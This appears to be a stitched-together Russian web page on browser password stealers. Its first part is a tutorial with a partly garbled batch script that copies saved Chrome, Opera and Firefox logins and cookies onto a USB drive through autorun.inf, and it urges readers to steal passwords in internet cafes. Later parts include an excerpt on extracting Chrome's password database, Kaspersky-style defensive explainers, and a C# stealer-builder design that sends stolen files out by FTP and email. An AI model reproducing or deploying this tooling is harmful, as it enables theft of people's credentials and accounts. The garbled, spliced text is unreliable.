стиллер паролей что это
Стиллер паролей для браузеров на Windows
Стиллер паролей для браузеров на Windows
Стиллер паролей – определенный класс вирусов, функционал которых состоит в том, чтобы украсть сохраненные пароли с компьютера и отправить их “автору”.
Метод, который мы будем использовать имеет как плюсы, так и минусы, без этого никуда.
Стиллер паролей для браузеров на Windows | Разбор плюсов и минусов
Давайте разберемся, почему такие плюсы и минусы имеет наш стиллер паролей для браузеров.
Думаю первые пару пунктов в разборе не нуждаются, а вот простота в доработке, давайте посмотрим почему.
Ниже будет код программы, там видно, что стиллер крадет пароли из 3 браузеров, Opera, Mozilla, Chrome. Если вы захотите сделать его более объемным и добавить все браузеры, то вам нужно просто найти их директории и прописать пути.
Далее мгновенный запуск. Создаём файл autorun.inf и добавляем наш anyname.bat туда. Как только вы вставите флешку в ПК, произойдёт кража и её можно сразу вытаскивать. Это займет у секунду времени, однако тут сразу и минус. Autorun.inf не запускается на Windows 8+, так что придётся запускать батник вручную. Точнее сказать, автоматический запуск стал невозможен с последнего обновления безопасности Windows 7.
Постоянное созданиеудаление autorun.inf – если вы вставите флешку в ПК, а потом пойдёте домой и у вас Windows 8.1 или ниже, то пароли обновятся из-за авторана. Чтобы этого избежать его нужно постоянно удалять, однако в нашем скрипте уже всё есть. Он будет удален автоматически после запуска.
Создаём стиллер паролей для браузеров
Для того, чтобы создать портативный стиллер паролей для браузеров нам понадобится только блокнот.
Создаём текстовый документ и пишем туда следующий код:
d0Google
CD/D %APPDATA%OperaOpera
copy /y wand.dat %
d0Opera
copy /y coockies.dat %
d0Opera
cd %AppData%MozillaFirefoxProfiles*.def-ault
copy /y coockies.sqlite %
d0Mozilla
copy /y key3.db %
d0Mozilla
copy /y signons.sqlite %
d0Mozilla
copy /y AppData%MozillaFirefoxProfiles*.def-ault %
d0Mozilla
cd %localappdata%GoogleChromeUser DataDefault
copy /y “%localappdata%GoogleChromeUser DataDefaultLogin Data” “%
Вы же можете его просто скопировать, сохраняем файл как anyname.bat. В коде видно, что сохраняются пароли из Mozilla, Opera, Chrome. Если вы хотите добавить ещё браузеры, требуется найти их директории и таким же образом добавить. Атрибуты, которые мы присвоили делают созданные папки скрытыми, чтобы никто ничего не заподозрил.
Теперь нужно создать файл autorun.inf со следующей командой:
Готово, теперь можете идти куда душа пожелает и воровать пароли, например в интернет-кафе или тому подобные места. Наш стиллер паролей для браузеров не является удалённым, из-за чего придётся ходить.
Открыть сохраненные пароли можно заменив краденые файлы cookies, базы данных и данные логина. Для удобства можно воспользоваться программой Password Web Views.
Сегодня мы поговорили о том, как создать стиллер паролей для браузеров, обсудили плюсы и минусы такого скрипта. Если вам понравилась статья, подписывайтесь на обновления сайта, а также наш Telegram.
Telegram
Подписывайтесь на официальный Telegram канал сайта Make Info.
Пишем стилер. Как вытащить пароли Chrome и Firefox своими руками
Содержание статьи
WARNING
Весь код в статье приводится исключительно в образовательных целях и для восстановления собственных утерянных паролей. Похищение чужих учетных или других личных данных без надлежащего письменного соглашения карается по закону.
Итак, браузеры, в основе которых лежит Chrome или Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам.
В примере модуля стилинга, который я приведу в статье, будет активно использоваться CRT и другие сторонние библиотеки и зависимости, типа sqlite.h. Если тебе нужен компактный код без зависимостей, придется его немного переработать, избавившись от некоторых функций и настроив компилятор должным образом. Как это сделать, я показывал в статье «Тайный WinAPI. Как обфусцировать вызовы WinAPI в своем приложении».
Что скажет антивирус?
Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом.
Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.
Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.
Chrome
Начнем с Chrome. Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:
Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).
База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.
Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Cтилеры
Любые пользовательские данные – от паролей к разным сервисам до электронных документов – весьма востребованы у злоумышленников. Причина известна — практически любую информацию можно монетизировать. Например, можно использовать украденные данные для вывода денег на счета злоумышленников, заказа товаров или услуг, также всегда есть возможность продать украденное другим киберпреступникам.
Большинство браузеров предлагает сохранить вашу информацию: логины и пароли от аккаунтов, данные банковской карты, которой вы расплачиваетесь в интернет-магазинах, имя, фамилию и номер паспорта при покупке билетов и так далее. С одной стороны это удобно, вы можете сэкономить кучу времени на заполнении одинаковых форм и не беспокоиться о забытых паролях. Однако есть один нюанс: все эти данные могут достаться злоумышленникам, если на вашем компьютере заведется стилер (от английского to steal, воровать – определенный класс троянов, функционал которых полностью состоит из кражи сохраненных в системе паролей и отправки их злоумышленнику, зловред, крадущий информацию, в том числе из браузера).
Популярность таких программ среди интернет-мошенников в последнее время растет. Востребованность краденых данных подтверждается и статистикой «Лаборатории Касперского»: за первое полугодие 2019 года вредоносным ПО, предназначенным для сбора разнообразных данных, было атаковано более чем 940 тысяч пользователей. Для сравнения, за тот же период 2018 года было атаковано чуть менее 600 тысяч пользователей.
Речь идет о троянцах-стилерах, или Password Stealing Ware (PSW). За последние полгода чаще всего детектировали подобное вредоносное ПО у пользователей из России, Индии, Бразилии, Германии и США.
Географическое распределение пользователей, атакованных троянцами-стилерами за первое полугодие 2019 года:
Строго говоря, стилеров интересуют не только те данные, которые сохранены в браузерах, также они крадут данные криптокошельков, игровых площадок и файлы с рабочего стола (надеемся, что вы не храните в них ценную информацию вроде списка паролей).
Зачем стилеру собирать какие-то текстовые файлы или, тем более, все файлы с рабочего стола? Дело в том, что в папке «Рабочий стол» обычно хранятся востребованные и актуальные для пользователя файлы. Среди них вполне может быть текстовый файл, содержащий пароли, которые должны быть всегда под рукой. Или, например, рабочие документы, содержащие конфиденциальные данные.
Как браузеры хранят наши данные
Браузеры превратились в важный интернет-шлюз для работы и шопинга, а также для личной жизни, и зачастую оттуда можно позаимствовать куда больше конфиденциальных сведений, чем из других программ.
Разработчики браузеров стремятся защитить информацию, которую им доверили. Для этого они шифруют информацию, а расшифровать ее можно только на том устройстве и из того аккаунта, в котором вы эту информацию сохранили. Так что если просто украсть файл с данными автозаполнения, то воспользоваться им не получится – в нем все надежно зашифровано.
По умолчанию разработчики браузеров предполагают, что свои устройство и аккаунт вы хорошо защитили, поэтому программа, запущенная с вашего аккаунта на вашем компьютере, может без проблем достать и расшифровать сохраненные данные. Ведь она действует как бы от вашего имени. Но к сожалению, это относится и к зловреду, проникшему на устройство и запущенному под вашей учетной записью.
Как стилеры воруют наши данные
После покупки (или создания) зловреда злоумышленник приступает к его распространению. Чаще всего это происходит путем рассылки электронных писем с вредоносными вложениями (например, это могут быть офисные документы с вредоносными макросами, загружающими непосредственно троянца). Кроме того, стилеры могут распространяться с помощью ботнетов, когда те получают команду на загрузку и исполнение троянца-стилера.
Все стилеры, когда дело доходит до кражи данных из браузеров (паролей, информации о банковских картах, данных автозаполнения), действуют практически по одинаковой схеме.
Google Chrome и браузеры на основе Chromium
Google Chrome и другие браузеры на движке Chromium – например, Opera или Yandex.Браузер – всегда хранят данные пользователя в одном и том же месте, поэтому стилеру не составит проблем их найти. Эти данные хранятся в зашифрованном виде. Однако если зловред уже проник в систему, то все его действия происходят как бы от вашего имени. Поэтому зловред просто просит специальную систему браузера, отвечающую за шифрование сохраненной на компьютере информации, расшифровать эти данные. Поскольку такие запросы от лица пользователя по умолчанию считаются безопасными, в ответ стилер получит ваши пароли и данные банковских карт.
В браузерах, созданных на основе открытого исходного кода Chromium, сохраненные пароли защищены с помощью DPAPI (Data Protection API). При этом используется собственное хранилище браузера, выполненное в виде базы данных SQLite. Извлечь пароли из базы может только тот пользователь операционной системы, который их создал, а также только на том компьютере, на котором они были зашифрованы. Это обеспечивается особенностями реализации шифрования: ключ шифрования включает в себя в определенном виде информацию о компьютере и пользователе системы. Для обычного пользователя вне браузера и без специальных утилит эти данные недоступны.
Но все это не является препятствием для стилера, уже проникшего на компьютер: он запущен с правами самого пользователя, и в этом случае процесс получения всех сохраненных данных в браузере сводится к следующему:
Firefox
Firefox – это единственный браузер, предлагающий дополнительную защиту сохраненной информации от посторонних – в нем можно создать мастер-пароль, без ввода которого данные расшифровать не получится даже на вашем компьютере. Однако эта опция по умолчанию отключена.
В Firefox-браузерах для шифрования используется Network Security Services – набор библиотек от Mozilla для разработки защищенных приложений, в частности библиотека nss3.dll. Но, как и в случае с браузерами на базе Chromium, получение данных из зашифрованного хранилища сводится к тем же простым действиям, только с некоторыми оговорками:
Если вы пользуетесь Firefox, можете защитить сохраненные в браузере данные мастер-паролем. Для этого:
Internet Explorer и Microsoft Edge
Родные браузеры Windows используют для ваших данных специальные хранилища. В разных версиях программ методы защиты вашей информации и сами хранилища различаются, но их надежность все равно оставляет желать лучшего, зловред также без труда получит ваши пароли и данные кредиток, запросив их у хранилища от вашего имени.
В версиях Internet Explorer 4.x–6.0 сохраненные пароли и данные автозаполнения хранились в так называемом Protected Storage. Для их получения (не только данных IE, но и других приложений, которые используют это хранилище) стилеру необходимо подгрузить библиотеку pstorec.dll и простым перечислением получить все данные в открытом виде.
В версиях Internet Explorer 7 и 8 применяется несколько другой подход: для хранения используется CredentialStore, шифрование осуществляется с использованием «соли» («соль» – некая последовательность данных, которую добавляют к криптоключу для предотвращения декодирования информации методом перебора). К сожалению, эта «соль» всегда одинакова и хорошо известна, а потому стилер может также вызовом уже знакомой нам функции CryptUnprotectData получить все сохраненные пароли.
Internet Explorer 9 и Microsoft Edge используют новый тип хранилища – Vault. Но стилер подгружает vaultcli.dll, вызывает несколько функций оттуда и получает все сохраненные данные.
Что станет с данными украденными стилером?
Заполучив пароли и другую информацию из браузера в открытом виде, зловред отправит ее своим хозяевам. Дальше возможны два варианта: либо создатели зловреда воспользуются ею сами, либо продадут на черном рынке другим киберпреступникам – такой товар всегда в цене.
Если вы хранили в браузере данные банковских карт, убытки могут оказаться прямыми – ваши деньги потратят или переведут на свои счета. Также краденные аккаунты могут использоваться со множеством других целей – от распространения спама и раскрутки сайтов или приложений, до рассылки вирусов и отмывки денег, украденных у других людей.
Как защитить свои данные от стилеров
Популярность вредоносных программ, которые охотятся за данными браузеров, не спадает. Существующие троянцы-стилеры активно поддерживаются, обновляются и дополняются новыми функциями. Как видите, если зловред проник на ваш компьютер, сохраненные в браузере данные, а вместе с ними финансы и репутация оказываются под угрозой. Чтобы избежать такой ситуации:
Как трояны воруют аккаунты в игровых сервисах
Существуют трояны, которые воруют логины и пароли. В том числе от игровых сервисов вроде Origin, Battle.net или Uplay.
Мы часто рассказываем, какое количество угроз в онлайне существует для геймеров: и в пиратках трояны прячутся, и в модах, и в читах. И это не говоря уже про фишинг и многочисленные способы обмана при покупке или обмене внутриигровых предметов. Про беды с покупкой аккаунтов мы тоже недавно рассказывали. К счастью, все эти проблемы не так страшны, если вы о них знаете.
Но есть еще одна опасность, о которой нужно, во-первых, знать, а во-вторых, уметь от нее защищаться. И имя ей — стилеры (Password Stealer, наши защитные решения их детектируют обычно как Trojan-PSW.что-нибудь). Это такие специальные трояны, которые заточены под воровство аккаунтов — или в виде логинов с паролями, или в виде токенов сессии.
Мы уже писали про Steam-стилеры — трояны, которые воруют аккаунты в самом популярном игровом сервисе. Но подобных игровых сервисов много — Battle.net, Origin, Uplay, Epic Games Store и так далее. У них всех многомиллионные аудитории, вокруг всех крутятся немаленькие деньги, и злоумышленники, естественно, ими интересуются. Поэтому стилеры существуют и для этих магазинов.
Что такое Password Stealer и какие они бывают
Password Stealer — это зловред, который ворует данные учетных записей. В сущности, стилер очень похож на банковский троян, только вместо того чтобы перехватывать или подменять введенные данные, он ворует уже сохраненную на компьютере информацию. Например, логины и пароли, записанные в браузере, файлы cookies и просто какие-то файлы с жесткого диска зараженного устройства. Более того, бывает так, что воровать игровые аккаунты — просто одна из функций стилера, а пароль от онлайн-банка его интересует ничуть не меньше.
Работают стилеры по-разному. Например, есть злобный троян-стилер Kpot (также известный как Trojan-PSW.Win32.Kpot). Он распространяется в основном через почтовый спам с вложениями, которые, используя уязвимости (например, в Microsoft Office), загружают на компьютер сам зловред.
Дальше стилер передает на командный сервер информацию об установленных на компьютере программах и в ответ получает список дальнейших действий. Среди них, например, возможность воровать cookie-файлы, аккаунты Telegram и Skype, а также много чего еще.
Зачем это надо мошенникам? Очень просто: все ценные внутриигровые предметы они быстренько перепродадут, выручив с этого неплохие деньги. Такие предметы — и возможность их перепродать — есть, например, в World of Warcraft и в Diablo III.
Или, скажем, есть зловред, который целится в другой сервис — Uplay, фирменный лончер для игр Ubisoft. Этого зловреда зовут Okasidis, наши решения ловят его под общим вердиктом Trojan-Banker.MSIL.Evital.gen. В отношении воровства игровых аккаунтов он ведет себя точно так же, как троян Kpot, разве что ворует два конкретных файла — %LOCALAPPDATA%\Ubisoft Game Launcher\users.dat и %LOCALAPPDATA%\Ubisoft Game Launcher\settings.yml.
Тот же Uplay интересует и зловреда по имени Thief Stealer (детектируется под общим вердиктом — как HEUR:Trojan.Win32.Generic). Разве что этот, не стесняясь, тащит вообще все файлы из папки %LOCALAPPDATA%\Ubisoft Game Launcher\.
Также Uplay, Origin и Battle.net интересуют зловреда BetaBot (детектируется как Trojan.Win32.Neurevt). Но этот троян работает иначе: если пользователь посещает URL, содержащий определенные ключевые слова (например, любые адреса, в которых есть слова uplay или origin), зловред включает сбор данных из форм на этих страницах. Таким образом, введенные на таком сайте логин и пароль от аккаунта попадут злоумышленникам.
Во всех трех случаях пользователь, скорее всего, ничего не заметит — троян никак не выдает себя на компьютере, не выводит окон с требованиями, а просто тихонько ворует файлы или данные.
Как защититься от троянов, ворующих аккаунты в игровых сервисах
В принципе защищать аккаунты в игровых сервисах нужно так же, как и все остальное. В том числе и от стилеров. Следуйте советам ниже — и никакие троянские воры будут вам не страшны:
Stealer на C#. Мы уложились в 9 Кб исполнимого файла
Есть такой класс программ, призванных получать у пользователя конкретные (или какие угодно) файлы и направлять их специально уполномоченным людям. Конечно, с предварительного письменного согласия упомянутых пользователей! Этот класс программ называют Stealer. Самый яркий их представитель, UFR Stealer имеет симпатичный интерфейс, множество настроек и по какому-то недоразумению детектируется всеми известными антивирусами. А что было бы, если бы хакеры писали подобные программы на С#? Пофантазируем!
Для начала — соберись с духом и обновись наконец на бесплатную Visual Studio Community 2013 :). На дворе 2015 год, и сидеть на старой Visual Studio Express уже не круто. Как поставишь — загляни в раздел Extensions and updates и установи несколько полезных расширений, таких как Resharper или Productivity Power Tools 2013. Для анализа полученных сборок вполне подойдет бесплатный декомпилер dotPeek, это очень хорошая утилита, которая покажет, что там получилось, и может построить солюшен и файл с отладочными символами.
Кратко о программе
Ставим задачи и определяем требования
Итак, попробуем предположить, как хакеры размышляют на данном этапе. Для них проблема заключается в том, что у пользователя есть файлы, которые интересны не только ему. Возможно, юзер даже и не знает, что они существуют и где точно расположены, но от этого хакерам легче не становится. Надо каким-то образом получить их копию и посмотреть, что внутри, — кто знает, может быть, это именно то, что нужно?
Чтобы своими действиями не беспокоить пользователя, не прерывать его сериалы и не мешать общению в социальных сетях, хакеры добавляют в свои программы определенный функционал. Их программы имеют небольшой размер и молча выполняют свою работу (silent mode). Целевой платформой на сегодняшний день обычно выбирают Windows 7 и более старшие версии. XP — дело хорошее, но она сдает позиции, и, по данным одного известного антивирусного разработчика, ее доля на конец 2015 года составит всего 16–17%.
Проектируем и конструируем
Solution Explorer
Основная идея этого класса заключается в формировании структуры алгоритма, который уже будет реализован в Google Chrome, ICQ, Skype и так далее.
Да, небольшое дополнение. В данном примере логика работы приложения находится внутри разделяемого класса Form, если хочется дополнительно реализовать консольный или WPF-интерфейс, то ее следует вынести отдельно и подписаться на группу ожидаемых событий. Подробнее про правильную архитектуру можно почитать у Стива Макконнелла (Code complete).
Интерфейс
MainForm
На созданном в дизайнере окне накидывается меню, три комбобокса, две кнопки, шесть текстбоксов с лейблами и одиннадцать чекбоксов. Примерная группировка и расположение этих элементов показана на картинке. Стиль окна выставляется в «диалог», чтобы его нельзя было развернуть на весь экран. Иконка по вкусу, в сети есть архивы с тысячами экземпляров на любой вкус. Подписка будет реализована на три события, а именно на нажатие на копки Check all, BUILD и пункт меню «&OpenFile. ». На этом дизайн визуальной части приложения заканчивается, двигаемся дальше.
Код под кнопками мог бы быть весьма тривиальным, но, как говорится, не тут-то было. Выдержка из BUILD:
Стандартными средствами пройтись по коллекции активных чекбоксов возможно, но зачем писать так просто, когда есть красивые решения на страницах Stack Overflow? Это и объясняет появление дополнительного пространства имен для подсмотренного метода расширения, где он и расположен (по совету Трея Нэша в книге Accelerated C# 2010). Фишка этого решения также в том, что все классы, реализующие абстракцию, являются вложенными ресурсами приложения (далее показано, как это сделать) и имеют то же имя, что и текст на чекбоксах. Поэтому всего-то нужно пробежаться по всем активным элементам и собирать их имена, попутно добавляя в коллекцию и заменяя метку в классе стаб, //[Add_toList] для добавления в List и //[Class] для определения самих классов. Адрес FTP, пароль, логин и данные для почты реализованы стандартно — получил текст с элемента управления и вставил в стаб.
Получение самих ресурсов происходит следующим образом. Создается экземпляр var assembly = Assembly.GetExecutingAssembly(), и в потоке Stream stream = assembly.GetManifestResourceStream(resourceName) происходит чтение данных до конца и возврат строки текста. Переменная resourceName имеет значение @«Stealer.STUB.Stub.cs» что соответствует полному пути расположения указанного файла. Аналогичным образом ведется работа с другими элементами решения, в коде эта строка выглядит так: «@«Stealer.Targets.<0>.cs», className», где className — это имя класса и текст на чекбоксе.
Задача кнопки Check all сводится к управлению галочками сразу на всех целях. Реализуется это через приватное поле класса Form булева типа и один метод, который принимает это значение в качестве аргумента, применяя его к каждому чекбоксу. На обработчике события считывается значение указанного поля и передается методу, по завершению его работы оно меняется на противоположное.
Это класс, который будет скомпилирован в отдельную исполняемую сборку с помощь экземпляра CSharpCodeProvider и метода CompileAssemblyFromSource. Для того чтобы он стал доступным для чтения в рантайме, нужно в его параметрах (F4) указать Build Action = Embedded Resource, а строкой ниже Do not copy. Чтобы студия не ругалась на два метода Main, в настройках проекта указывается Startup object = Stealer.Program, это на тот случай, когда класс «Стаб» не является ресурсом и можно провести анализ кода на наличие ошибок. Теперь давай посмотрим на пример кода.
В листинге не отображены методы SendViaFtp и SendViaEmail, примеры которых будут показаны далее, метод Encrypt (на самом деле конкретная реализация не имеет значения, выбирается любой симметричный алгоритм), класс AbstractFile и поля класса, которые будут хранить в себе логины, пароли а также ключи шифрования. На этом все, больше ничего интересного и нового в стабе нет.
Алгоритм получения файлов
Благодаря паттерну «Шаблонный метод» проектировать классы для поиска и получения файлов стало очень просто, можно добавлять десятки новых, и при этом не потребуется вносить никаких изменений в использующий их код, то есть стаб. Вызывающей стороне все равно, что и как реализовано внутри, называется это дело абстрагированием вариантов исполнения. Для примера посмотрим на реализацию класса GoogleChrome, из названия которого можно догадаться о том, что именно он должен найти и скопировать.
Метод ToString переопределен для того, чтобы словарь из стаба было удобнее заполнять и анализировать при получении. Другие классы по поиску файлов выглядят идентично, разница лишь в пути и, возможно, наличии дополнительных проверок в зависимости от типа хранения. Чтобы не забыть, какие методы надо реализовать от унаследованного класса, или просто сократить время клавиатурного ввода, на AbstractFile можно нажать мышкой и подождать появления подсказки implement abstract class, которая автоматически построит нужный код.
Программирование без напряга
Узнать, сколько всего можно дописать в программе без особых усилий и как сэкономить кучу времени на личных исследованиях, хакерам помогает ресурс Password Secrets of Popular Windows Applications, на нем заботливо выложена информация о расположении интересующих файлов и утилит для анализа.
Алгоритм отправки файлов
SendViaFTP
Как видно на картинке главной формы приложения, в этой части будет обсуждаться пример реализации отправки по FTP и email. Начнем с первого. В конструкторе FtpWebRequest задается URL из текстбокса главной формы, который был вставлен на свою метку в стабе. К нему также добавляется имя передаваемого файла, в качестве которого используется Environment.UserName в связке с Path.GetRandomFileName. Это сделано с той целью, чтобы пользователи с одинаковыми именами не перезатирали друг друга. Метод транспортировки устанавливается в WebRequestMethods.Ftp.UploadFile, и указывается NetworkCredential(_ftpUser, _ftpPass) по аналогии с URL. Работоспособность метода проверяют на локальном FTP, для этого был использован smallftpd 1.0.3.
SendViaEmail
С почтой поначалу возникали некоторые проблемы, а все из-за изменений в правилах подключения (подробнее можно почитать здесь: «Использование SmtpClient для отправления почты через SMTP-сервер»). Формирование письма начинается с вложения, и, так как в метод для отправки передается массив байтов, а конструктор Attachment ждет MemoryStream, переводим его в MemoryStream в начале метода, используя директиву using. Имя файла задается аналогично FTP. В самом сообщении MailMessage инициализируются свойства From, Subject, Body, Sender, To, и завершает эстафету вызов Attachments.Add(attachment), добавляя созданное вложение. Далее следует экземпляр SmtpClient, который заполняется аналогично сообщению. И наконец, строка smtpClient.Send(mail); отправляет сформированное письмо на почтовый сервер.
Заключение
Сегодня мы пофантазировали на тему, как мог бы выглядеть Stealer на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Замечу, что в ходе экспериментов мой антивирус начал подавать сигнал тревоги, только когда был добавлен метод Encrypt, до этого программа могла отправлять файл по FTP куда угодно. С появлением опции отправки по почте имя определяемой «малвари» изменилось на «троян»… а вот про то, как с этим борются хакеры, читай в предыдущих выпусках ][ в статье про крипторы :).